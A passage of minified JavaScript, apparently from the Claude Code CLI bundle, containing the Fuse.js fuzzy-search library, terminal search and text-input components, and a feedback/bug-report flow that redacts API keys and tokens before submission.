this.records.length}_addString(A,K){if(!Sv(A)||UB6(A))return;let q={v:A,i:K,n:this.norm.get(A)};this.records.push(q)}_addObject(A,K){let q={i:K,$:{}};this.keys.forEach((Y,z)=>{let w=Y.getFn?Y.getFn(A):this.getFn(A,Y.path);if(!Sv(w))return;if(ad(w)){let H=[],J=[{nestedArrIndex:-1,value:w}];while(J.length){let{nestedArrIndex:O,value:X}=J.pop();if(!Sv(X))continue;if(vm(X)&&!UB6(X)){let $={v:X,i:O,n:this.norm.get(X)};H.push($)}else if(ad(X))X.forEach(($,_)=>{J.push({nestedArrIndex:_,value:$})})}q.$[z]=H}else if(vm(w)&&!UB6(w)){let H={v:w,n:this.norm.get(w)};q.$[z]=H}}),this.records.push(q)}toJSON(){return{keys:this.keys,records:this.records}}}function f$K(A,K,{getFn:q=T5.getFn,fieldNormWeight:Y=T5.fieldNormWeight}={}){let z=new GT1({getFn:q,fieldNormWeight:Y});return z.setKeys(A.map(V$K)),z.setSources(K),z.create(),z}function Yb2(A,{getFn:K=T5.getFn,fieldNormWeight:q=T5.fieldNormWeight}={}){let{keys:Y,records:z}=A,w=new GT1({getFn:K,fieldNormWeight:q});return w.setKeys(Y),w.setIndexRecords(z),w}function $T1(A,{errors:K=0,currentLocation:q=0,expectedLocation:Y=0,distance:z=T5.distance,ignoreLocation:w=T5.ignoreLocation}={}){let H=K/A.length;if(w)return H;let J=Math.abs(Y-q);if(!z)return J?1:H;return H+J/z}function zb2(A=[],K=T5.minMatchCharLength){let q=[],Y=-1,z=-1,w=0;for(let H=A.length;w<H;w+=1){let J=A[w];if(J&&Y===-1)Y=w;else if(!J&&Y!==-1){if(z=w-1,z-Y+1>=K)q.push([Y,z]);Y=-1}}if(A[w-1]&&w-Y>=K)q.push([Y,w-1]);return q}function wb2(A,K,q,{location:Y=T5.location,distance:z=T5.distance,threshold:w=T5.threshold,findAllMatches:H=T5.findAllMatches,minMatchCharLength:J=T5.minMatchCharLength,includeMatches:O=T5.includeMatches,ignoreLocation:X=T5.ignoreLocation}={}){if(K.length>E9A)throw Error(nh2(E9A));let $=K.length,_=A.length,G=Math.max(0,Math.min(Y,_)),Z=w,W=G,D=J>1||O,j=D?Array(_):[],M;while((M=A.indexOf(K,W))>-1){let R=$T1(K,{currentLocation:M,expectedLocation:G,distance:z,ignoreLocation:X});if(Z=Math.min(R,Z),W=M+$,D){let x=0;while(x<$)j[M+x]=1,x+=1}}W=-1;let P=[],f=1,N=$+_,T=1<<$-1;for(let R=0;R<$;R+=1){let x=0,y=N;while(x<y){if($T1(K,{errors:R,currentLocation:G+y,expectedLocation:G,distance:z,ignoreLocation:X})<=Z)x=y;else N=y;y=Math.floor((N-x)/2+x)}N=y;let B=Math.max(1,G-y+1),b=H?_:Math.min(G+y,_)+$,F=Array(b+2);F[b+1]=(1<<R)-1;for(let u=b;u>=B;u-=1){let d=u-1,r=q[A.charAt(d)];if(D)j[d]=+!!r;if(F[u]=(F[u+1]<<1|1)&r,R)F[u]|=(P[u+1]|P[u])<<1|1|P[u+1];if(F[u]&T){if(f=$T1(K,{errors:R,currentLocation:d,expectedLocation:G,distance:z,ignoreLocation:X}),f<=Z){if(Z=f,W=d,W<=G)break;B=Math.max(1,2*G-W)}}}if($T1(K,{errors:R+1,currentLocation:G,expectedLocation:G,distance:z,ignoreLocation:X})>Z)break;P=F}let C={isMatch:W>=0,score:Math.max(0.001,f)};if(D){let R=zb2(j,J);if(!R.length)C.isMatch=!1;else if(O)C.indices=R}return C}function Hb2(A){let K={};for(let q=0,Y=A.length;q<Y;q+=1){let z=A.charAt(q);K[z]=(K[z]||0)|1<<Y-q-1}return K}class rB6{constructor(A,{location:K=T5.location,threshold:q=T5.threshold,distance:Y=T5.distance,includeMatches:z=T5.includeMatches,findAllMatches:w=T5.findAllMatches,minMatchCharLength:H=T5.minMatchCharLength,isCaseSensitive:J=T5.isCaseSensitive,ignoreLocation:O=T5.ignoreLocation}={}){if(this.options={location:K,threshold:q,distance:Y,includeMatches:z,findAllMatches:w,minMatchCharLength:H,isCaseSensitive:J,ignoreLocation:O},this.pattern=J?A:A.toLowerCase(),this.chunks=[],!this.pattern.length)return;let X=(_,G)=>{this.chunks.push({pattern:_,alphabet:Hb2(_),startIndex:G})},$=this.pattern.length;if($>E9A){let _=0,G=$%E9A,Z=$-G;while(_<Z)X(this.pattern.substr(_,E9A),_),_+=E9A;if(G){let W=$-E9A;X(this.pattern.substr(W),W)}}else X(this.pattern,0)}searchIn(A){let{isCaseSensitive:K,includeMatches:q}=this.options;if(!K)A=A.toLowerCase();if(this.pattern===A){let Z={isMatch:!0,score:0};if(q)Z.indices=[[0,A.length-1]];return Z}let{location:Y,distance:z,threshold:w,findAllMatches:H,minMatchCharLength:J,ignoreLocation:O}=this.options,X=[],$=0,_=!1;this.chunks.forEach(({pattern:Z,alphabet:W,startIndex:D})=>{let{isMatch:j,score:M,indices:P}=wb2(A,Z,W,{location:Y+D,distance:z,threshold:w,findAllMatches:H,minMatchCharLength:J,includeMatches:q,ignoreLocation:O});if(j)_=!0;if($+=M,j&&P)X=[...X,...P]});let G={isMatch:_,score:_?$/this.chunks.length:1};if(_&&q)G.indices=X;return G}}class sd{constructor(A){this.pattern=A}static isMultiMatch(A){return G$K(A,this.multiRegex)}static isSingleMatch(A){return G$K(A,this.singleRegex)}search(){}}function G$K(A,K){let q=A.match(K);return q?q[1]:null}function Xb2(A,K={}){return A.split(Ob2).map((q)=>{let Y=q.trim().split(Jb2).filter((w)=>w&&!!w.trim()),z=[];for(let w=0,H=Y.length;w<H;w+=1){let J=Y[w],O=!1,X=-1;while(!O&&++X<Z$K){let $=dB6[X],_=$.isMultiMatch(J);if(_)z.push(new $(_,K)),O=!0}if(O)continue;X=-1;while(++X<Z$K){let $=dB6[X],_=$.isSingleMatch(J);if(_){z.push(new $(_,K));break}}}return z})}class L$K{constructor(A,{isCaseSensitive:K=T5.isCaseSensitive,includeMatches:q=T5.includeMatches,minMatchCharLength:Y=T5.minMatchCharLength,ignoreLocation:z=T5.ignoreLocation,findAllMatches:w=T5.findAllMatches,location:H=T5.location,threshold:J=T5.threshold,distance:O=T5.distance}={}){this.query=null,this.options={isCaseSensitive:K,includeMatches:q,minMatchCharLength:Y,findAllMatches:w,ignoreLocation:z,location:H,threshold:J,distance:O},this.pattern=K?A:A.toLowerCase(),this.query=Xb2(this.pattern,this.options)}static condition(A,K){return K.useExtendedSearch}searchIn(A){let K=this.query;if(!K)return{isMatch:!1,score:1};let{includeMatches:q,isCaseSensitive:Y}=this.options;A=Y?A:A.toLowerCase();let z=0,w=[],H=0;for(let J=0,O=K.length;J<O;J+=1){let X=K[J];w.length=0,z=0;for(let $=0,_=X.length;$<_;$+=1){let G=X[$],{isMatch:Z,indices:W,score:D}=G.search(A);if(Z){if(z+=1,H+=D,q){let j=G.constructor.type;if($b2.has(j))w=[...w,...W];else w.push(W)}}else{H=0,z=0,w.length=0;break}}if(z){let $={isMatch:!0,score:H/z};if(q)$.indices=w;return $}}return{isMatch:!1,score:1}}}function _b2(...A){cB6.push(...A)}function lB6(A,K){for(let q=0,Y=cB6.length;q<Y;q+=1){let z=cB6[q];if(z.condition(A,K))return new z(A,K)}return new rB6(A,K)}function R$K(A,K,{auto:q=!0}={}){let Y=(z)=>{let w=Object.keys(z),H=Gb2(z);if(!H&&w.length>1&&!nB6(z))return Y(W$K(z));if(Zb2(z)){let O=H?z[iB6.PATH]:w[0],X=H?z[iB6.PATTERN]:z[O];if(!vm(X))throw Error(ih2(O));let $={keyId:pB6(O),pattern:X};if(q)$.searcher=lB6(X,K);return $}let J={children:[],operator:w[0]};return w.forEach((O)=>{let X=z[O];if(ad(X))X.forEach(($)=>{J.children.push(Y($))})}),J};if(!nB6(A))A=W$K(A);return Y(A)}function Wb2(A,{ignoreFieldNorm:K=T5.ignoreFieldNorm}){A.forEach((q)=>{let Y=1;q.matches.forEach(({key:z,norm:w,score:H})=>{let J=z?z.weight:null;Y*=Math.pow(H===0&&J?Number.EPSILON:H,(J||1)*(K?1:w))}),q.score=Y})}function Db2(A,K){let q=A.matches;if(K.matches=[],!Sv(q))return;q.forEach((Y)=>{if(!Sv(Y.indices)||!Y.indices.length)return;let{indices:z,value:w}=Y,H={indices:z,value:w};if(Y.key)H.key=Y.key.src;if(Y.idx>-1)H.refIndex=Y.idx;K.matches.push(H)})}function jb2(A,K){K.score=A.score}function Mb2(A,K,{includeMatches:q=T5.includeMatches,includeScore:Y=T5.includeScore}={}){let z=[];if(q)z.push(Db2);if(Y)z.push(jb2);return A.map((w)=>{let{idx:H}=w,J={item:K[H],refIndex:H};if(z.length)z.forEach((O)=>{O(w,J)});return J})}class CL{constructor(A,K={},q){this.options={...T5,...K},this.options.useExtendedSearch,this._keyStore=new P$K(this.options.keys),this.setCollection(A,q)}setCollection(A,K){if(this._docs=A,K&&!(K instanceof GT1))throw Error(lh2);this._myIndex=K||f$K(this.options.keys,this._docs,{getFn:this.options.getFn,fieldNormWeight:this.options.fieldNormWeight})}add(A){if(!Sv(A))return;this._docs.push(A),this._myIndex.add(A)}remove(A=()=>!1){let K=[];for(let q=0,Y=this._docs.length;q<Y;q+=1){let z=this._docs[q];if(A(z,q))this.removeAt(q),q-=1,Y-=1,K.push(z)}return K}removeAt(A){this._docs.splice(A,1),this._myIndex.removeAt(A)}getIndex(){return this._myIndex}search(A,{limit:K=-1}={}){let{includeMatches:q,includeScore:Y,shouldSort:z,sortFn:w,ignoreFieldNorm:H}=this.options,J=vm(A)?vm(this._docs[0])?this._searchStringList(A):this._searchObjectList(A):this._searchLogical(A);if(Wb2(J,{ignoreFieldNorm:H}),z)J.sort(w);if(D$K(K)&&K>-1)J=J.slice(0,K);return Mb2(J,this._docs,{includeMatches:q,includeScore:Y})}_searchStringList(A){let K=lB6(A,this.options),{records:q}=this._myIndex,Y=[];return q.forEach(({v:z,i:w,n:H})=>{if(!Sv(z))return;let{isMatch:J,score:O,indices:X}=K.searchIn(z);if(J)Y.push({item:z,idx:w,matches:[{score:O,value:z,norm:H,indices:X}]})}),Y}_searchLogical(A){let K=R$K(A,this.options),q=(H,J,O)=>{if(!H.children){let{keyId:$,searcher:_}=H,G=this._findMatches({key:this._keyStore.get($),value:this._myIndex.getValueForItemAtKeyId(J,$),searcher:_});if(G&&G.length)return[{idx:O,item:J,matches:G}];return[]}let X=[];for(let $=0,_=H.children.length;$<_;$+=1){let G=H.children[$],Z=q(G,J,O);if(Z.length)X.push(...Z);else if(H.operator===_T1.AND)return[]}return X},Y=this._myIndex.records,z={},w=[];return Y.forEach(({$:H,i:J})=>{if(Sv(H)){let O=q(K,H,J);if(O.length){if(!z[J])z[J]={idx:J,item:H,matches:[]},w.push(z[J]);O.forEach(({matches:X})=>{z[J].matches.push(...X)})}}}),w}_searchObjectList(A){let K=lB6(A,this.options),{keys:q,records:Y}=this._myIndex,z=[];return Y.forEach(({$:w,i:H})=>{if(!Sv(w))return;let J=[];if(q.forEach((O,X)=>{J.push(...this._findMatches({key:O,value:w[X],searcher:K}))}),J.length)z.push({idx:H,item:w,matches:J})}),z}_findMatches({key:A,value:K,searcher:q}){if(!Sv(K))return[];let Y=[];if(ad(K))K.forEach(({v:z,i:w,n:H})=>{if(!Sv(z))return;let{isMatch:J,score:O,indices:X}=q.searchIn(z);if(J)Y.push({score:O,key:A,value:z,idx:w,norm:H,indices:X})});else{let{v:z,n:w}=K,{isMatch:H,score:J,indices:O}=q.searchIn(z);if(H)Y.push({score:J,key:A,value:z,norm:w,indices:O})}return Y}}var Qh2=1/0,lh2="Incorrect 'index' type",ih2=(A)=>`Invalid value for key ${A}`,nh2=(A)=>`Pattern length exceeds max of ${A}.`,rh2=(A)=>`Missing ${A} property in key`,oh2=(A)=>`Property 'weight' in key '${A}' must be a positive integer`,$$K,sh2,th2,eh2,Ab2,T5,Kb2,E9A=32,N$K,T$K,v$K,E$K,k$K,C$K,oB6,aB6,dB6,Z$K,Jb2,Ob2="|",$b2,cB6,_T1,iB6,nB6=(A)=>!!(A[_T1.AND]||A[_T1.OR]),Gb2=(A)=>!!A[iB6.PATH],Zb2=(A)=>!ad(A)&&j$K(A)&&!nB6(A),W$K=(A)=>({[_T1.AND]:Object.keys(A).map((K)=>({[K]:A[K]}))});var ZT1=k(()=>{$$K=Object.prototype.hasOwnProperty;sh2={includeMatches:!1,findAllMatches:!1,minMatchCharLength:1},th2={isCaseSensitive:!1,includeScore:!1,keys:[],shouldSort:!0,sortFn:(A,K)=>A.score===K.score?A.idx<K.idx?-1:1:A.score<K.score?-1:1},eh2={location:0,threshold:0.6,distance:100},Ab2={useExtendedSearch:!1,getFn:ah2,ignoreLocation:!1,ignoreFieldNorm:!1,fieldNormWeight:1},T5={...th2,...sh2,...eh2,...Ab2},Kb2=/[^ ]+/g;N$K=class N$K extends sd{constructor(A){super(A)}static get type(){return"exact"}static get multiRegex(){return/^="(.*)"$/}static get singleRegex(){return/^=(.*)$/}search(A){let K=A===this.pattern;return{isMatch:K,score:K?0:1,indices:[0,this.pattern.length-1]}}};T$K=class T$K extends sd{constructor(A){super(A)}static get type(){return"inverse-exact"}static get multiRegex(){return/^!"(.*)"$/}static get singleRegex(){return/^!(.*)$/}search(A){let q=A.indexOf(this.pattern)===-1;return{isMatch:q,score:q?0:1,indices:[0,A.length-1]}}};v$K=class v$K extends sd{constructor(A){super(A)}static get type(){return"prefix-exact"}static get multiRegex(){return/^\^"(.*)"$/}static get singleRegex(){return/^\^(.*)$/}search(A){let K=A.startsWith(this.pattern);return{isMatch:K,score:K?0:1,indices:[0,this.pattern.length-1]}}};E$K=class E$K extends sd{constructor(A){super(A)}static get type(){return"inverse-prefix-exact"}static get multiRegex(){return/^!\^"(.*)"$/}static get singleRegex(){return/^!\^(.*)$/}search(A){let K=!A.startsWith(this.pattern);return{isMatch:K,score:K?0:1,indices:[0,A.length-1]}}};k$K=class k$K extends sd{constructor(A){super(A)}static get type(){return"suffix-exact"}static get multiRegex(){return/^"(.*)"\$$/}static get singleRegex(){return/^(.*)\$$/}search(A){let K=A.endsWith(this.pattern);return{isMatch:K,score:K?0:1,indices:[A.length-this.pattern.length,A.length-1]}}};C$K=class C$K extends sd{constructor(A){super(A)}static get type(){return"inverse-suffix-exact"}static get multiRegex(){return/^!"(.*)"\$$/}static get singleRegex(){return/^!(.*)\$$/}search(A){let K=!A.endsWith(this.pattern);return{isMatch:K,score:K?0:1,indices:[0,A.length-1]}}};oB6=class oB6 extends sd{constructor(A,{location:K=T5.location,threshold:q=T5.threshold,distance:Y=T5.distance,includeMatches:z=T5.includeMatches,findAllMatches:w=T5.findAllMatches,minMatchCharLength:H=T5.minMatchCharLength,isCaseSensitive:J=T5.isCaseSensitive,ignoreLocation:O=T5.ignoreLocation}={}){super(A);this._bitapSearch=new rB6(A,{location:K,threshold:q,distance:Y,includeMatches:z,findAllMatches:w,minMatchCharLength:H,isCaseSensitive:J,ignoreLocation:O})}static get type(){return"fuzzy"}static get multiRegex(){return/^"(.*)"$/}static get singleRegex(){return/^(.*)$/}search(A){return this._bitapSearch.searchIn(A)}};aB6=class aB6 extends sd{constructor(A){super(A)}static get type(){return"include"}static get multiRegex(){return/^'"(.*)"$/}static get singleRegex(){return/^'(.*)$/}search(A){let K=0,q,Y=[],z=this.pattern.length;while((q=A.indexOf(this.pattern,K))>-1)K=q+z,Y.push([q,K-1]);let w=!!Y.length;return{isMatch:w,score:w?0:1,indices:Y}}};dB6=[N$K,aB6,v$K,E$K,C$K,k$K,T$K,oB6],Z$K=dB6.length,Jb2=/ +(?=(?:[^\"]*\"[^\"]*\")*[^\"]*$)/;$b2=new Set([oB6.type,aB6.type]);cB6=[];_T1={AND:"$and",OR:"$or"},iB6={PATH:"$path",PATTERN:"$val"};CL.version="7.0.0";CL.createIndex=f$K;CL.parseIndex=Yb2;CL.config=T5;CL.parseQuery=R$K;_b2(L$K)});function tS(A){let K=s(15),{query:q,placeholder:Y,isFocused:z,isTerminalFocused:w,prefix:H,width:J,cursorOffset:O}=A,X=Y===void 0?"Search…":Y,$=H===void 0?"⌕":H,_=O??q.length,G=z?"suggestion":void 0,Z=!z,W=!z,D;if(K[0]!==z||K[1]!==w||K[2]!==_||K[3]!==X||K[4]!==q)D=z?eG.default.createElement(eG.default.Fragment,null,q?w?eG.default.createElement(eG.default.Fragment,null,eG.default.createElement(V,null,q.slice(0,_)),eG.default.createElement(V,{inverse:!0},_<q.length?q[_]:" "),_<q.length&&eG.default.createElement(V,null,q.slice(_+1))):eG.default.createElement(V,null,q):w?eG.default.createElement(eG.default.Fragment,null,eG.default.createElement(V,{inverse:!0},X.charAt(0)),eG.default.createElement(V,{dimColor:!0},X.slice(1))):eG.default.createElement(V,{dimColor:!0},X)):q?eG.default.createElement(V,null,q):eG.default.createElement(V,null,X),K[0]=z,K[1]=w,K[2]=_,K[3]=X,K[4]=q,K[5]=D;else D=K[5];let j;if(K[6]!==$||K[7]!==W||K[8]!==D)j=eG.default.createElement(V,{dimColor:W},$," ",D),K[6]=$,K[7]=W,K[8]=D,K[9]=j;else j=K[9];let M;if(K[10]!==G||K[11]!==Z||K[12]!==j||K[13]!==J)M=eG.default.createElement(S,{flexShrink:0,borderStyle:"round",borderColor:G,borderDimColor:Z,paddingX:1,width:J},j),K[10]=G,K[11]=Z,K[12]=j,K[13]=J,K[14]=M;else M=K[14];return M}var eG;var k9A=k(()=>{cA();mA();eG=o($A(),1)});function Pb2(A,K){if(A.ctrl&&(K==="k"||K==="u"||K==="w"))return!0;if(A.meta&&A.backspace)return!0;return!1}function Vb2(A,K){return(A.ctrl||A.meta)&&K==="y"}function eS({isActive:A,onExit:K,onExitUp:q,columns:Y,passthroughCtrlKeys:z=[],initialQuery:w=""}){let{columns:H}=f8(),J=Y??H,[O,X]=UpA.useState(w),[$,_]=UpA.useState(w.length),G=UpA.useCallback((Z)=>{X(Z),_(Z.length)},[]);return K8((Z,W)=>{let D=pq.fromText(O,J,$);if(W.ctrl&&z.includes(Z.toLowerCase()))return;if(!Pb2(W,Z))OIA();if(!Vb2(W,Z))XIA();if(W.return||W.downArrow){K();return}if(W.upArrow){if(q)q();return}if(W.escape){if(O.length>0)X(""),_(0);else K();return}if(W.backspace){if(W.meta){let{cursor:M,killed:P}=D.deleteWordBefore();bQ(P,"prepend"),X(M.text),_(M.offset);return}if(O.length===0){K();return}let j=D.backspace();X(j.text),_(j.offset);return}if(W.delete){let j=D.del();X(j.text),_(j.offset);return}if(W.leftArrow&&(W.ctrl||W.meta||W.fn)){let j=D.prevWord();_(j.offset);return}if(W.rightArrow&&(W.ctrl||W.meta||W.fn)){let j=D.nextWord();_(j.offset);return}if(W.leftArrow){let j=D.left();_(j.offset);return}if(W.rightArrow){let j=D.right();_(j.offset);return}if(W.home){_(0);return}if(W.end){_(O.length);return}if(W.ctrl){switch(Z.toLowerCase()){case"a":_(0);return;case"e":_(O.length);return;case"b":_(D.left().offset);return;case"f":_(D.right().offset);return;case"d":{let j=D.del();X(j.text),_(j.offset);return}case"h":{if(O.length===0){K();return}let j=D.backspace();X(j.text),_(j.offset);return}case"k":{let{cursor:j,killed:M}=D.deleteToLineEnd();bQ(M,"append"),X(j.text),_(j.offset);return}case"u":{let{cursor:j,killed:M}=D.deleteToLineStart();bQ(M,"prepend"),X(j.text),_(j.offset);return}case"w":{let{cursor:j,killed:M}=D.deleteWordBefore();bQ(M,"prepend"),X(j.text),_(j.offset);return}case"y":{let j=I31();if(j.length>0){let M=D.offset,P=D.insert(j);S31(M,j.length),X(P.text),_(P.offset)}return}}return}if(W.meta){switch(Z.toLowerCase()){case"b":_(D.prevWord().offset);return;case"f":_(D.nextWord().offset);return;case"d":{let j=D.deleteWordAfter();X(j.text),_(j.offset);return}case"y":{let j=h31();if(j){let{text:M,start:P,length:f}=j,N=O.slice(0,P),T=O.slice(P+f),C=N+M+T,R=P+M.length;b31(M.length),X(C),_(R)}return}}return}if(W.tab)return;if(Z){let j=D.insert(Z);X(j.text),_(j.offset)}},{isActive:A}),{query:O,setQuery:G,cursorOffset:$}}var UpA;var C9A=k(()=>{mA();QXA();uK();UpA=o($A(),1)});import{readFile as fb2}from"fs/promises";function L9A(A){let K=A;return K=K.replace(/"(sk-ant[^\s"']{24,})"/g,'"[REDACTED_API_KEY]"'),K=K.replace(/(?<![A-Za-z0-9"'])(sk-ant-?[A-Za-z0-9_-]{10,})(?![A-Za-z0-9"'])/g,"[REDACTED_API_KEY]"),K=K.replace(/AWS key: "(AWS[A-Z0-9]{20,})"/g,'AWS key: "[REDACTED_AWS_KEY]"'),K=K.replace(/(AKIA[A-Z0-9]{16})/g,"[REDACTED_AWS_KEY]"),K=K.replace(/(?<![A-Za-z0-9])(AIza[A-Za-z0-9_-]{35})(?![A-Za-z0-9])/g,"[REDACTED_GCP_KEY]"),K=K.replace(/(?<![A-Za-z0-9])([a-z0-9-]+@[a-z0-9-]+\.iam\.gserviceaccount\.com)(?![A-Za-z0-9])/g,"[REDACTED_GCP_SERVICE_ACCOUNT]"),K=K.replace(/(["']?x-api-key["']?\s*[:=]\s*["']?)[^"',\s)}\]]+/gi,"$1[REDACTED_API_KEY]"),K=K.replace(/(["']?authorization["']?\s*[:=]\s*["']?(bearer\s+)?)[^"',\s)}\]]+/gi,"$1[REDACTED_TOKEN]"),K=K.replace(/(AWS[_-][A-Za-z0-9_]+\s*[=:]\s*)["']?[^"',\s)}\]]+["']?/gi,"$1[REDACTED_AWS_VALUE]"),K=K.replace(/(GOOGLE[_-][A-Za-z0-9_]+\s*[=:]\s*)["']?[^"',\s)}\]]+["']?/gi,"$1[REDACTED_GCP_VALUE]"),K=K.replace(/((API[-_]?KEY|TOKEN|SECRET|PASSWORD)\s*[=:]\s*)["']?[^"',\s)}\]]+["']?/gi,"$1[REDACTED]"),K}function Tb2(A){let K=[];for(let q of A){if(q.type!=="user")continue;let Y=q.message.content;if(!Array.isArray(Y))continue;for(let z of Y){if(z.type!=="tool_result")continue;let w=z.content;if(typeof w==="string")try{let H=G6(w);if(H&&typeof H.agentId==="string")K.push(oD(H.agentId))}catch{}else if(Array.isArray(w)){for(let H of w)if(H.type==="text"&&typeof H.text==="string")try{let J=G6(H.text);if(J&&typeof J.agentId==="string")K.push(oD(J.agentId))}catch{}}}}return[...new Set(K)]}async function vb2(A){let K=await Promise.all(A.map(async(Y)=>{try{let z=await yV1(Y);if(z&&z.length>0)return{agentId:Y,transcript:z};return null}catch{return null}})),q={};for(let Y of K)if(Y)q[Y.agentId]=Y.transcript;return q}function I$K(){return yzA().map((A)=>{let K={...A};if(K&&typeof K.error==="string")K.error=L9A(K.error);return K})}async function Eb2(){try{let A=Y$();return await fb2(A,"utf-8")}catch{return null}}function h$K({abortSignal:A,messages:K,initialDescription:q,onDone:Y}){let[z,w]=hv.useState("userInput"),[H,J]=hv.useState(0),[O,X]=hv.useState(q??""),[$,_]=hv.useState(null),[G,Z]=hv.useState(null),[W,D]=hv.useState({isGit:!1,gitState:null}),[j,M]=hv.useState(null),P=f8().columns-4;hv.useEffect(()=>{async function R(){let x=await AD(),y=null;if(x)y=await by1();D({isGit:x,gitState:y})}R()},[]);let f=n8(),N=cK("confirm:no","Confirmation","Esc"),T=hv.useCallback(async()=>{w("submitting"),Z(null),_(null);let R=I$K(),y=rf(K)?.requestId??null,B=Tb2(K),[b,F]=await Promise.all([vb2(B),Eb2()]),Q={latestAssistantMessageId:y,message_count:K.length,datetime:new Date().toISOString(),description:O,platform:m6.platform,gitRepo:W.isGit,terminal:m6.terminal,version:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION,transcript:q0(K),errors:R,lastApiRequest:Vr6(),...Object.keys(b).length>0&&{subagentTranscripts:b},...F&&{rawTranscriptJsonl:F}},[u,d]=await Promise.all([Lb2(Q,A),Cb2(O,A)]);if(M(d),u.success){if(u.feedbackId)_(u.feedbackId),n("tengu_bug_report_submitted",{feedback_id:u.feedbackId,last_assistant_message_id:y});w("done")}else{if(u.isZdrOrg)Z("Feedback collection is not available for organizations with custom data retention policies.");else Z("Could not submit feedback. Please try again later.");w("userInput")}},[O,W.isGit,K]),C=hv.useCallback(()=>{if(z==="done"){if(G)Y("Error submitting feedback / bug report",{display:"system"});else Y("Feedback / bug report submitted",{display:"system"});return}Y("Feedback / bug report cancelled",{display:"system"})},[z,G,Y]);return J6("confirm:no",C,{context:"Settings"}),K8((R,x)=>{if(z==="done"){if(x.return&&j){let y=kb2($??"",j,O,I$K());MY(y)}if(G)Y("Error submitting feedback / bug report",{display:"system"});else Y("Feedback / bug report submitted",{display:"system"});return}if(G&&z!=="userInput"){Y("Error submitting feedback / bug report",{display:"system"});return}if(z==="consent"&&(x.return||R===" "))T()}),P4.createElement(P4.Fragment,null,P4.createElement(S,{flexDirection:"column",borderStyle:"round",borderColor:"permission",paddingX:1,paddingBottom:1,gap:1},P4.createElement(V,{bold:!0,color:"permission"},"Submit Feedback / Bug Report"),z==="userInput"&&P4.createElement(S,{flexDirection:"column",gap:1},P4.createElement(V,null,"Describe the issue below:"),P4.createElement(dq,{value:O,onChange:(R)=>{if(X(R),G)Z(null)},columns:P,onSubmit:()=>w("consent"),onExitMessage:()=>Y("Feedback cancelled",{display:"system"}),cursorOffset:H,onChangeCursorOffset:J}),G&&P4.createElement(S,{flexDirection:"column",gap:1},P4.createElement(V,{color:"error"},G),P4.createElement(V,{dimColor:!0},"Edit and press Enter to retry, or Esc to cancel"))),z==="consent"&&P4.createElement(S,{flexDirection:"column"},P4.createElement(V,null,"This report will include:"),P4.createElement(S,{marginLeft:2,flexDirection:"column"},P4.createElement(V,null,"- Your feedback / bug description:"," ",P4.createElement(V,{dimColor:!0},O)),P4.createElement(V,null,"- Environment info:"," ",P4.createElement(V,{dimColor:!0},m6.platform,", ",m6.terminal,", v",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION)),W.gitState&&P4.createElement(V,null,"- Git repo metadata:"," ",P4.createElement(V,{dimColor:!0},W.gitState.branchName,W.gitState.commitHash?`, ${W.gitState.commitHash.slice(0,7)}`:"",W.gitState.remoteUrl?` @ ${W.gitState.remoteUrl}`:"",!W.gitState.isHeadOnRemote&&", not synced",!W.gitState.isClean&&", has local changes")),P4.createElement(V,null,"- Current session transcript")),P4.createElement(S,{marginTop:1},P4.createElement(V,{wrap:"wrap",dimColor:!0},"We will use your feedback to debug related issues or to improve"," ","Claude Code's functionality (eg. to reduce the risk of bugs occurring in the future).")),P4.createElement(S,{marginTop:1},P4.createElement(V,null,"Press ",P4.createElement(V,{bold:!0},"Enter")," to confirm and submit."))),z==="submitting"&&P4.createElement(S,{flexDirection:"row",gap:1},P4.createElement(V,null,"Submitting report…")),z==="done"&&P4.createElement(S,{flexDirection:"column"},G?P4.createElement(V,{color:"error"},G):P4.createElement(V,{color:"success"},"Thank you for your report!"),$&&P4.createElement(V,{dimColor:!0},"Feedback ID: ",$),P4.createElement(S,{marginTop:1},P4.createElement(V,null,"Press "),P4.createElement(V,{bold:!0},"Enter "),P4.createElement(V,null,"to open your browser and draft a GitHub issue, or any other key to close.")))),P4.createElement(S,{marginLeft:1},P4.createElement(V,{dimColor:!0},f.pending?P4.createElement(P4.Fragment,null,"Press ",f.keyName," again to exit"):z==="userInput"?P4.createElement(P4.Fragment,null,"Enter to continue · ",N," to cancel"):z==="consent"?P4.createElement(P4.Fragment,null,"Enter to submit · ",N," to cancel"):null)))}function kb2(A,K,q,Y){let z=L9A(K),H=`**Bug Description** ${L9A(q)} **Environment Info** - Platform: ${m6.platform} - Terminal: ${m6.terminal} - Version: ${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION||"unknown"} - Feedback ID: ${A} **Errors** \`\`\`json `,J="\n```\n",O=UA(Y),X=`${Nb2}/new?title=${encodeURIComponent(z)}&labels=user-reported,bug&body=`,$=` **Note:** Content was truncated. `,_=encodeURIComponent(H),G=encodeURIComponent("\n```\n"),Z=encodeURIComponent(` **Note:** Content was truncated. `),W=encodeURIComponent(O),D=y$K-X.length-_.length-G.length-Z.length;if(D<=0){let N=encodeURIComponent("…"),T=50,C=y$K-X.length-N.length-Z.length-50,R=H+O+"\n```\n",x=encodeURIComponent(R);if(x.length>C){x=x.slice(0,C);let y=x.lastIndexOf("%");if(y>=x.length-2)x=x.slice(0,y)}return X+x+N+Z}if(W.length<=D)return X+_+W+G;let j=encodeURIComponent("…"),M=50,P=W.slice(0,D-j.length-M),f=P.lastIndexOf("%");if(f>=P.length-2)P=P.slice(0,f);return X+_+P+j+G+Z}async function Cb2(A,K){try{let q=await D$({systemPrompt:["Generate a concise, technical issue title (max 80 chars) for a public GitHub issue based on this bug report for Claude Code.","Claude Code is an agentic coding CLI based on the Anthropic API.","The title should:","- Include the type of issue [Bug] or [Feature Request] as the first thing in the title","- Be concise, specific and descriptive of the actual problem","- Use technical terminology appropriate for a software issue",'- For error messages, extract the key error (e.g., "Missing Tool Result 